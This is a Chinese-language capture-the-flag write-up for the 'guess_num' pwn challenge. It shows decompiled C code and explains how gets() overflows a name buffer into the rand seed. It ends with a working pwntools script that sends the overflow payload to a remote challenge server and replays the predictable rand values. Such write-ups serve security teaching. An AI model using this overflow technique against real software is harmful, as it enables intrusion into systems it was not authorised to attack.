攻防世界PWN-guess_num
程序员文章站
2022-05-19 10:01:17
...
题目:guess_num
checksec查看详情
64位以及各种防护全开
运行一下逻辑,的确是一个猜数游戏
进64位IDA
反编译main函数
出源码
摘代码
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // aaa@qq.com1
__int64 v4; // aaa@qq.com1
const char *v5; // aaa@qq.com1
__int64 result; // aaa@qq.com7
__int64 v7; // aaa@qq.com7
int v8; // [sp+4h] [bp-3Ch]@1
int i; // [sp+8h] [bp-38h]@1
int v10; // [sp+Ch] [bp-34h]@1
char v11; // [sp+10h] [bp-30h]@1
unsigned int seed[2]; // [sp+30h] [bp-10h]@1
__int64 v13; // [sp+38h] [bp-8h]@1
v13 = *MK_FP(__FS__, 40LL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v8 = 0;
v10 = 0;
LODWORD(v4) = sub_BB0(v3, 0LL);
*(_QWORD *)seed = v4;
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v11);#构造输入
v5 = (const char *)seed[0];
srand(seed[0]);#随机数种子
for ( i = 0; i <= 9; ++i )
{
v10 = rand() % 6 + 1; #生成从1到6的随机数
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v8);
puts("---------------------------------");
if ( v8 != v10 )#必须是v8 == v10才能执行下方的输出flag函数
{
puts("GG!");
exit(1);
}
v5 = "Success!";
puts("Success!");
}
sub_C3E(v5);#该函数可以cat flag
result = 0LL;
v7 = *MK_FP(__FS__, 40LL) ^ v13;
return result;
}
这里涉及到一个东西,c语言的rand函数以及srand函数
rand() 函数每次调用前都会查询是否调用过srand(seed),是否给seed设定了一个值,如果有那么它会自动调用srand(seed)一次来初始化它的起始值。若之前没有调用srand(seed),那么系统会自动给seed赋初始值,即srand(1)自动调用它一次 。
srand() 函数需要提供一个种子,如srand(1),用1来初始化种子
rand()产生随机数时,如果用srand(seed)播下种子之后,一旦种子相同(下面的getpid方法),产生的随机数将是相同的。
简而言之,c的随机数在seed存在的情况下便无法真正的随机,如果我们强制给seed赋值并使用该seed去初始rand(),那rand就成为可控变量了。
因此在这里我们构造v10溢出的时候是将内容溢出给seed,从而让seed唯一,继而让后续的随机数相同来满足if条件
双击v10变量
v10到seed之间的距离是0x20,将这0x20个空间打满之后,溢出的内容就会给seed,而种子一旦确定,后面的循环也就有了规律,从而容易满足
参考脚本:
from pwn import *
from ctypes import *
r = remote('220.249.52.133',45485)
#这里利用libc后期设置随机数种子
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#前0x20个空间堵死,剩余的内容给seed,把种子设置为1
payload = "a"*0x20+p64(1)
r.sendlineafter("Your name:",payload)
#初始化种子为1
libc.srand(1)
for i in range(10):
#这里的随机数就已经是顺序有规律一致的了
num = str(libc.rand()%6+1)
r.recvuntil('number:')
r.sendline(num)
r.interactive()
运行:
参考 https://blog.csdn.net/lvyibin890/article/details/80141412
https://www.jianshu.com/p/0bc6c65addfd